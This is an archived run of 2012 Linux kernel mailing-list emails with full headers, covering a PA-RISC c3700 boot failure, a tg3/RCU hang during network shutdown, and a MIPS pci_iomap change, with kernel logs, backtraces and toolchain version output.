--nextPart7677163.56nYFJlx8z
Content-Transfer-Encoding: 7Bit
Content-Type: text/plain; charset="ISO-8859-1"

Bjorn Helgaas wrote:
> I'm trying to test some PCI changes on a c3700, but recent kernels
> don't seem to work at all.  74ea15d909b311 (current upstream) and v3.2
> both fail as shown below.  I'm using c3000_defconfig (attached for
> 74ea15d909b311).  Should I expect this to work?

I don't know about 3.3x, but my C3600 runs using 3.2.1. Which binutils did you 
use for building? IIRC there is a bunch of bugs in different versions.

Eike
--nextPart7677163.56nYFJlx8z
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.18 (GNU/Linux)

iEYEABECAAYFAk8kKL8ACgkQXKSJPmm5/E4tqwCfXyLgFWPdntw3IdZblZNwdyoX
1mcAn2CevTYKf3TQ/NZExCDA4DHBdi0D
=nLc3
-----END PGP SIGNATURE-----

--nextPart7677163.56nYFJlx8z--

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: c3700 boot failure (protection ID trap)
Date: Sat, 28 Jan 2012 12:13:36 -0600
Lines: 108
Approved: news@gmane.org
Message-ID: <1327774416.2924.17.camel@dabdike.int.hansenpartnership.com>
References: <CAErSpo7ko3Tdkf9Y4jiKCQTgCpcooWnHKJtqXDVpJje3nEXgdw@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1327774425 4355 80.91.229.3 (28 Jan 2012 18:13:45 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 28 Jan 2012 18:13:45 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Bjorn Helgaas <bhelgaas@google.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jan 28 19:13:44 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RrCmW-0000H3-0s
	for glpp-linux-parisc@plane.gmane.org; Sat, 28 Jan 2012 19:13:44 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751780Ab2A1SNj (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 28 Jan 2012 13:13:39 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:47904 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751477Ab2A1SNj (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 28 Jan 2012 13:13:39 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 996548EE0C4;
	Sat, 28 Jan 2012 10:13:38 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id ZCPlcEoBrwqa; Sat, 28 Jan 2012 10:13:38 -0800 (PST)
Original-Received: from [192.168.10.225] (unknown [192.168.10.225])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 8C37E8EE090;
	Sat, 28 Jan 2012 10:13:37 -0800 (PST)
In-Reply-To: <CAErSpo7ko3Tdkf9Y4jiKCQTgCpcooWnHKJtqXDVpJje3nEXgdw@mail.gmail.com>
X-Mailer: Evolution 3.2.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4115
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4115>

On Sat, 2012-01-28 at 08:30 -0700, Bjorn Helgaas wrote:
> I'm trying to test some PCI changes on a c3700, but recent kernels
> don't seem to work at all.  74ea15d909b311 (current upstream) and v3.2
> both fail as shown below.  I'm using c3000_defconfig (attached for
> 74ea15d909b311).  Should I expect this to work?

It does work for me but using a fairly custom config on a pa8800 system
(based on a debian .config):

ion:~# cat /proc/version 
Linux version 3.3.0-rc1+ (jejb@ion) (gcc version 4.2.4 (Debian 4.2.4-6))
#6 SMP Sat Jan 28 09:28:11 PST 2012

> v3.0 gets farther, but then gets into a loop of
> __find_get_block_slow() messages like this:
> 
>         ...
>         md: autorun ...
>         md: ... autorun DONE.
>         __find_get_block_slow() failed. block=0, b_blocknr=1
>         b_state=0x00000020, b_size=4096
>         device blocksize: 4096
>         __find_get_block_slow() failed. block=0, b_blocknr=1
>         ...

definitely never seen this ... and it's a bit unlikely to be a PA arch
problem, but I don't use md, so I can't really say anything definitive.

> Linux version 3.3.0-rc1+ (helgaas@c3700) (gcc version 4.3.2 (Debian 4.3.2-1.1)
>  ) #20 Fri Jan 27 19:52:08 MST 2012
> unwind_init: start = 0x1054f000, end = 0x105882c0, entries = 14636
> WARNING: Out of order unwind entry! 10550250 and 10550260
> WARNING: Out of order unwind entry! 10550260 and 10550270
> WARNING: Out of order unwind entry! 10550c40 and 10550c50
> WARNING: Out of order unwind entry! 10550c50 and 10550c60
> WARNING: Out of order unwind entry! 10550c60 and 10550c70
> WARNING: Out of order unwind entry! 10550c70 and 10550c80
> WARNING: Out of order unwind entry! 10550c90 and 10550ca0
> WARNING: Out of order unwind entry! 10550ca0 and 10550cb0
> WARNING: Out of order unwind entry! 10550cb0 and 10550cc0
> WARNING: Out of order unwind entry! 10550cc0 and 10550cd0
> WARNING: Out of order unwind entry! 10550cd0 and 10550ce0
> WARNING: Out of order unwind entry! 10550ce0 and 10550cf0
> WARNING: Out of order unwind entry! 10550cf0 and 10550d00
> WARNING: Out of order unwind entry! 10550d00 and 10550d10
> WARNING: Out of order unwind entry! 10550d10 and 10550d20
> WARNING: Out of order unwind entry! 10550d20 and 10550d30
> WARNING: Out of order unwind entry! 10550d30 and 10550d40
> WARNING: Out of order unwind entry! 10550d40 and 10550d50
> FP[0] enabled: Rev 1 Model 19
> The 32-bit Kernel has started...
> bootconsole [ttyB0] enabled
> Initialized PDC Console for debugging.
> Determining PDC firmware type: System Map.
> model 00005dc0 00000481 00000000 00000002 782636b2 100000f0 00000008 000000b2 00
> 0000b2
> vers  00000203
> CPUID vers 19 rev 7 (0x00000267)
> capabilities 0x7
> model 9000/785/C3700
> Total Memory: 1024 MB
>       _______________________________
>      < Your System ate a SPARC! Gah! >
>       -------------------------------
>              \   ^__^
>                  (__)\       )\/\
>                   U  ||----w |
>                      ||     ||
> swapper (pid 0): Protection id trap (code 7)
> 
>      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> PSW: 00000000000001001111111100001110 Not tainted
> r00-03  0004ff0e 10100000 10286408 1058c548
> r04-07  000186a0 0001869f 1058c5d0 00000000
> r08-11  ffffffff 00000000 0000000a 00000000
> r12-15  ffffffff 00000011 00000020 105aad90
> r16-19  10605000 00000025 1060503c 00000000
> r20-23  00040000 0000006c 00000001 00000000
> r24-27  00040000 000186a0 00040000 10590000
> r28-31  00018000 ffffffff 1058c640 10286028
> sr00-03  00000000 00000000 00000000 00000000
> sr04-07  00000000 00000000 00000000 00000000
> 
> IASQ: 00000000 00000000 IAOQ: 101006dc 101006e0
>  IIR: 43ffff40    ISR: 00000000  IOR: 00000000
>  CPU:        0   CR30: 1058c000 CR31: 7fffffff
>  ORIG_R28: 00000000
>  IAOQ[0]: lstrnlen_user+0x1e0/0x146c
>  IAOQ[1]: lstrnlen_user+0x1e4/0x146c
>  RP(r2): number+0x370/0x390
> Backtrace:
>  [<10286408>] number+0x370/0x390

pass on this .. number should be in lib/vsprintf.c ... but I can't see
how that would get into lstrnlen_user, so this looks like some type of
compile problem.

What it should be trying to print out is the initrd information (if you
have one) or the percpu information if you don't.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.network
Subject: Hang deconfiguring network interface (in shutdown) on 3.3-rc1
Date: Sat, 28 Jan 2012 13:56:05 -0600
Lines: 82
Approved: news@gmane.org
Message-ID: <1327780565.2924.24.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1327780575 15210 80.91.229.3 (28 Jan 2012 19:56:15 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 28 Jan 2012 19:56:15 +0000 (UTC)
Cc: linux-kernel <linux-kernel@vger.kernel.org>,
	netdev <netdev@vger.kernel.org>,
	Michael Chan <mchan@broadcom.com>,
	Paul McKenny <paulmck@linux.vnet.ibm.com>
To: Parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jan 28 20:56:13 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RrENe-0000VP-54
	for glpp-linux-parisc@plane.gmane.org; Sat, 28 Jan 2012 20:56:10 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751970Ab2A1T4J (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 28 Jan 2012 14:56:09 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:48081 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751656Ab2A1T4I (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 28 Jan 2012 14:56:08 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 8D9B28EE0C4;
	Sat, 28 Jan 2012 11:56:07 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 0c1lhaLVk7zY; Sat, 28 Jan 2012 11:56:07 -0800 (PST)
Original-Received: from [192.168.10.225] (unknown [192.168.10.225])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 8EEDB8EE090;
	Sat, 28 Jan 2012 11:56:06 -0800 (PST)
X-Mailer: Evolution 3.2.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4116 gmane.linux.kernel:1245318 gmane.linux.network:219090
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4116>

It looks like it might be a tg3 or RCU issue.  When I shut down my
parisc SMP 4 way system, I get an immediate hang here

Deconfiguring network interfaces...Internet Systems Consortium DHCP
Client 4.1.1-P1
Copyright 2004-2010 Internet Systems Consortium.
All rights reserved.
For info, please visit https://www.isc.org/software/dhcp/

Listening on LPF/eth0/00:30:6e:4b:15:59
Sending on   LPF/eth0/00:30:6e:4b:15:59
Sending on   Socket/fallback
DHCPRELEASE on eth0 to 153.66.140.171 port 67

Followed some seconds later by

[ 5714.268000] INFO: rcu_sched detected stall on CPU 3 (t=15000 jiffies)
[ 5714.268000] Backtrace:
[ 5714.268000]  [<000000004011fdd4>] show_stack+0x14/0x20
[ 5714.268000]  [<000000004011fdf8>] dump_stack+0x18/0x28
[ 5714.268000]  [<00000000401c1fec>] __rcu_pending+0xcc/0x5c8
[ 5714.276000]  [<00000000401c2d60>] rcu_check_callbacks+0x80/0xf8
[ 5714.276000] INFO: rcu_sched detected stalls on CPUs/tasks: { 3}
(detected by 2, t=15002 jiffies)
[ 5714.276000] Backtrace:
[ 5714.276000]  [<000000004011fdd4>] show_stack+0x14/0x20
[ 5714.276000]  [<000000004011fdf8>] dump_stack+0x18/0x28
[ 5714.276000]  [<00000000401c2484>] __rcu_pending+0x564/0x5c8
[ 5714.276000]  [<00000000401c2d60>] rcu_check_callbacks+0x80/0xf8
[ 5714.276000]  [<0000000040155dc8>] update_process_times+0x68/0xd8
[ 5714.276000]  [<0000000040121378>] timer_interrupt+0x1c0/0x220
[ 5714.276000]  [<00000000401b9cfc>] handle_irq_event_percpu+0xa4/0x2a0
[ 5714.276000]  [<00000000401be58c>] handle_percpu_irq+0x9c/0xd0
[ 5714.276000]  [<00000000401b9500>] generic_handle_irq+0x48/0x60
[ 5714.276000]  [<0000000040121a50>] do_cpu_irq_mask+0x1b8/0x2a8
[ 5714.276000]  [<0000000040105074>] intr_return+0x0/0x4
[ 5714.276000]  [<0000000040105074>] intr_return+0x0/0x4
[ 5714.276000]  [<00000000401296dc>] cpu_idle+0x74/0x80
[ 5714.276000]  [<000000004078e1d0>] smp_callin+0x150/0x1a0
[ 5714.276000] 
[ 5714.348000]  [<0000000040155dc8>] update_process_times+0x68/0xd8
[ 5714.348000]  [<0000000040121378>] timer_interrupt+0x1c0/0x220
[ 5714.356000]  [<00000000401b9cfc>] handle_irq_event_percpu+0xa4/0x2a0
[ 5714.364000]  [<00000000401be58c>] handle_percpu_irq+0x9c/0xd0
[ 5714.364000]  [<00000000401b9500>] generic_handle_irq+0x48/0x60
[ 5714.372000]  [<0000000040121a50>] do_cpu_irq_mask+0x1b8/0x2a8
[ 5714.372000]  [<0000000040105074>] intr_return+0x0/0x4
[ 5714.380000] 

This didn't happen in 3.2

Sysrq still works and sysrq-T shows ifconfig stuck:


[ 6030.376000] ifconfig        R  running task        0  1470   1452
0x00000014
[ 6030.376000] Backtrace:
[ 6030.376000]  [<000000004017c6c8>] scheduler_tick+0x180/0x1a0
[ 6030.376000]  [<0000000040155e1c>] update_process_times+0xbc/0xd8
[ 6030.376000]  [<0000000040121378>] timer_interrupt+0x1c0/0x220
[ 6030.376000]  [<00000000401b9d54>] handle_irq_event_percpu+0xfc/0x2a0
[ 6030.376000]  [<0000000040105074>] intr_return+0x0/0x4
[ 6030.376000]  [<000000004011c638>] _raw_spin_lock_bh+0x30/0x40
[ 6030.376000]  [<000000004011c620>] _raw_spin_lock_bh+0x18/0x40
[ 6030.376000]  [<000000001c6e3a64>] tg3_chip_reset+0x9c4/0x1328 [tg3]
[ 6030.376000]  [<000000001c6eca9c>] tg3_halt+0xdc/0x1d8 [tg3]
[ 6030.376000]  [<000000001c6f9964>] tg3_close+0x194/0x3f0 [tg3]
[ 6030.376000]  [<0000000040411518>] __dev_close_many+0x100/0x178
[ 6030.376000]  [<0000000040415130>] __dev_close+0x30/0x50
[ 6030.376000]  [<000000004040ebf8>] __dev_change_flags+0xb0/0x1d0
[ 6030.376000]  [<00000000404113b0>] dev_change_flags+0x28/0x90
[ 6030.376000]  [<0000000040488d70>] devinet_ioctl+0x748/0x898
[ 6030.376000]  [<000000004048a5f4>] inet_ioctl+0x204/0x228

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kevin Cernekee <cernekee@gmail.com>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.m68k,gmane.linux.uclinux.microblaze,gmane.linux.ports.openrisc,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel.pci
Subject: Re: [PATCH-RFC 06/10] mips: switch to GENERIC_PCI_IOMAP
Date: Sat, 28 Jan 2012 14:38:10 -0800
Lines: 54
Approved: news@gmane.org
Message-ID: <CAJiQ=7BPzhWWzU3_nDv3j=ZB4f=iOzeyLyd2L0_3UFaMiLujpw@mail.gmail.com>
References: <cover.1322163031.git.mst@redhat.com>
        <66457f7750d7d14229fcf8d0b011aba63185a75d.1322163031.git.mst@redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1327790342 9073 80.91.229.3 (28 Jan 2012 22:39:02 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 28 Jan 2012 22:39:02 +0000 (UTC)
Cc: Richard Henderson <rth@twiddle.net>,
        Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
        Matt Turner <mattst88@gmail.com>,
        Russell King <linux@arm.linux.org.uk>,
        Mikael Starvik <starvik@axis.com>,
        Jesper Nilsson <jesper.nilsson@axis.com>,
        Richard Kuo <rkuo@codeaurora.org>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        Michal Simek <monstr@monstr.eu>,
        Jonas Bonn <jonas@southpole.se>,
        Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Chen Liqin <liqin.chen@sunplusct.com>,
        Lennox Wu <lennox.wu@gmail.com>,
        Paul Mundt <lethal@linux-sh.org>,
To: Ralf Baechle <ralf@linux-mips.org>,
        "Michael S. Tsirkin" <mst@redhat.com>
Original-X-From: linux-mips-bounce@linux-mips.org Sat Jan 28 23:38:49 2012
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([78.24.191.182] helo=cvs.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1RrGv0-0006Ko-Fd
	for sgi-linux-mips@gmane.org; Sat, 28 Jan 2012 23:38:46 +0100
Original-Received: from localhost.localdomain ([127.0.0.1]:58092 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S1903663Ab2A1Wim convert rfc822-to-quoted-printable
        (ORCPT <rfc822;sgi-linux-mips@gmane.org>);
        Sat, 28 Jan 2012 23:38:42 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Sat, 28 Jan 2012 23:38:25 +0100 (CET)
Original-Received: from mail-pw0-f49.google.com ([209.85.160.49]:50028 "EHLO
        mail-pw0-f49.google.com" rhost-flags-OK-OK-OK-OK)
        by eddie.linux-mips.org with ESMTP id S1903662Ab2A1WiS convert rfc822-to-8bit
        (ORCPT <rfc822;linux-mips@linux-mips.org>);
        Sat, 28 Jan 2012 23:38:18 +0100
Original-Received: by pbdx9 with SMTP id x9so3313486pbd.36
        for <multiple recipients>; Sat, 28 Jan 2012 14:38:11 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-type:content-transfer-encoding;
        bh=0i+RjziX8xr1fw1XyWqYc3ttsNXRW/8Z5EzgKlkyr40=;
        b=RRJfoJqnNF3aaXzqz6P4SPT+/fOKX7TKmuGc4tTb16k5q9ZHS6qRasvkrVsGrVvy85
         GE1jbJ9UAIE1XF3cwBfw5jyTAJzMvx5RG76lei4vvcTAGl5OVTjHBMfPk+y+iH3ob7XL
         2LvRJZW1zIzucIThSKdOqPh7Szlw+dufKDVTM=
Original-Received: by 10.68.73.4 with SMTP id h4mr27207845pbv.27.1327790290371; Sat, 28
 Jan 2012 14:38:10 -0800 (PST)
Original-Received: by 10.68.234.166 with HTTP; Sat, 28 Jan 2012 14:38:10 -0800 (PST)
In-Reply-To: <66457f7750d7d14229fcf8d0b011aba63185a75d.1322163031.git.mst@redhat.com>
X-archive-position: 32319
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: cernekee@gmail.com
Precedence: bulk
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:33420 gmane.linux.ports.alpha:1682 gmane.linux.kernel:1245336 gmane.linux.ports.arm.kernel:149831 gmane.linux.ports.hexagon:358 gmane.linux.ports.ia64:21970 gmane.linux.ports.m68k:3396 gmane.linux.uclinux.microblaze:11719 gmane.linux.ports.openrisc:17 gmane.linux.ports.parisc:4117 gmane.linux.ports.ppc64.devel:79786 gmane.linux.ports.sh.devel:13446 gmane.linux.ports.sparc:15703 gmane.linux.kernel.cross-arch:12031 gmane.linux.kernel.pci:13257
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/33420>

On Thu, Nov 24, 2011 at 12:18 PM, Michael S. Tsirkin <mst@redhat.com> w=
rote:
> mips copied pci_iomap from generic code, probably to avoid
> pulling the rest of iomap.c in. =C2=A0Since that's in
> a separate file now, we can reuse the common implementation.

[snip]

> - =C2=A0 =C2=A0 =C2=A0 if (flags & IORESOURCE_IO)
> - =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 return ioport_map_=
pci(dev, start, len);

While investigating a new warning on the 3.3-rc1 MIPS build (unused
static function ioport_map_pci()), I noticed that this patch has shown
up in Linus' tree as commit eab90291d35438bcebf7c3dc85be66d0f24e3002.

I am not completely clear on the implications it has on mapping PCI I/O=
 regions:

Prior to this change, the MIPS version of pci_iomap() called a
MIPS-specific function, ioport_map_pci(), which tried to use the PCI
controller's io_map_base field to determine the base address of the
PCI I/O space.  It also had a fallback mechanism to deal with the case
where io_map_base is unset.

Now, in 3.3-rc1, the generic version of pci_iomap() is used instead.
This code just calls arch/mips/lib/iomap.c:ioport_map() on these
regions.  ioport_map() falls through to ioport_map_legacy(), which
always uses mips_io_port_base (not the PCI controller's io_map_base)
as the base address.  But on MIPS, it is still permissible to use
different I/O port bases for PCI devices and for legacy (ISA?)
devices.

Is this new behavior desirable, or are there any supported platforms
on which adverse effects might be seen?

As for my part, I don't use PCI I/O regions at all - just memory
regions.  I'm more worried about making sure my tree builds with 0
warnings.

If we do want to move ahead with the switch to GENERIC_PCI_IOMAP now,
I have patches to scrap iomap-pci.c entirely and squash the unused
function warning.

If we still want to support the case where io_map_base !=3D
mips_io_port_base, maybe it would be better to revert commit eab90291
for 3.3.

Might also want to take a look at SH since it also appears to have an
orphaned ioport_map_pci() function.

What are your thoughts?



From - Thu Nov 08 21:07:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bjorn Helgaas <bhelgaas@google.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: c3700 boot failure (protection ID trap)
Date: Sat, 28 Jan 2012 15:41:49 -0700
Lines: 42
Approved: news@gmane.org
Message-ID: <CAErSpo6P6RMf69mJFkqWkVK4gJN9KqynrOh2bgdNRXzWiyY8ig@mail.gmail.com>
References: <CAErSpo7ko3Tdkf9Y4jiKCQTgCpcooWnHKJtqXDVpJje3nEXgdw@mail.gmail.com>
 <3542913.WWkx2jpWZr@donald.sf-tec.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1327790536 10131 80.91.229.3 (28 Jan 2012 22:42:16 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 28 Jan 2012 22:42:16 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Rolf Eike Beer <eike-kernel@sf-tec.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jan 28 23:42:16 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RrGyN-0007K6-4y
	for glpp-linux-parisc@plane.gmane.org; Sat, 28 Jan 2012 23:42:15 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751676Ab2A1WmL convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 28 Jan 2012 17:42:11 -0500
Original-Received: from mail-we0-f174.google.com ([74.125.82.174]:50386 "EHLO
	mail-we0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751582Ab2A1WmK convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 28 Jan 2012 17:42:10 -0500
Original-Received: by werb13 with SMTP id b13so2437679wer.19
        for <linux-parisc@vger.kernel.org>; Sat, 28 Jan 2012 14:42:09 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=gamma;
        h=mime-version:in-reply-to:references:from:date:message-id:subject:to
         :cc:x-system-of-record:content-type:content-transfer-encoding;
        bh=z/WxWYw1k6S2/OO8aUxgHVB0kMy3k39TU3sqeOLEndU=;
        b=c9dWoxPHadbxGUyZNG/qZkZENL86MGADFxfT93qPiMrFgcmXyCnGZt/1PM67Thj7nO
         ohKB9MVOSCPRn+0lWSkz4U2CdMnnBJklyKAj3nXBKJ1u8a5fNx55Fo4eeqHosOBFxumY
         nOJuG3jiqfBULBY3OSxA4vJ599GNG+5kjx91s=
Original-Received: by 10.216.136.132 with SMTP id w4mr4746370wei.53.1327790529351;
        Sat, 28 Jan 2012 14:42:09 -0800 (PST)
Original-Received: by 10.216.136.132 with SMTP id w4mr4746362wei.53.1327790529243; Sat,
 28 Jan 2012 14:42:09 -0800 (PST)
Original-Received: by 10.227.195.211 with HTTP; Sat, 28 Jan 2012 14:41:49 -0800 (PST)
In-Reply-To: <3542913.WWkx2jpWZr@donald.sf-tec.de>
X-System-Of-Record: true
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4118
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4118>

On Sat, Jan 28, 2012 at 9:56 AM, Rolf Eike Beer <eike-kernel@sf-tec.de>=
 wrote:
> Bjorn Helgaas wrote:
>> I'm trying to test some PCI changes on a c3700, but recent kernels
>> don't seem to work at all. =A074ea15d909b311 (current upstream) and =
v3.2
>> both fail as shown below. =A0I'm using c3000_defconfig (attached for
>> 74ea15d909b311). =A0Should I expect this to work?
>
> I don't know about 3.3x, but my C3600 runs using 3.2.1. Which binutil=
s did you
> use for building? IIRC there is a bunch of bugs in different versions=
=2E

This is a Debian 5.0 box:

c3700:~# gcc -v
Using built-in specs.
Target: hppa-linux-gnu
Configured with: ../src/configure -v --with-pkgversion=3D'Debian
4.3.2-1.1' --with-bugurl=3Dfile:///usr/share/doc/gcc-4.3/README.Bugs
--enable-languages=3Dc,c++,fortran,objc,obj-c++ --prefix=3D/usr
--enable-shared --with-system-zlib --libexecdir=3D/usr/lib
--without-included-gettext --enable-threads=3Dposix --enable-nls
--with-gxx-include-dir=3D/usr/include/c++/4.3 --program-suffix=3D-4.3
--enable-clocale=3Dgnu --enable-libstdcxx-debug --enable-objc-gc
--enable-mpfr --disable-libssp --enable-checking=3Drelease
--build=3Dhppa-linux-gnu --host=3Dhppa-linux-gnu --target=3Dhppa-linux-=
gnu
Thread model: posix
gcc version 4.3.2 (Debian 4.3.2-1.1)
c3700:~# ld -v
GNU ld (GNU Binutils for Debian) 2.18.0.20080103
c3700:~# as -v
GNU assembler version 2.18.0 (hppa-linux-gnu) using BFD version (GNU
Binutils for Debian) 2.18.0.20080103
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Paul E. McKenney" <paulmck@linux.vnet.ibm.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.network
Subject: Re: Hang deconfiguring network interface (in shutdown) on 3.3-rc1
Date: Sat, 28 Jan 2012 15:23:37 -0800
Lines: 86
Approved: news@gmane.org
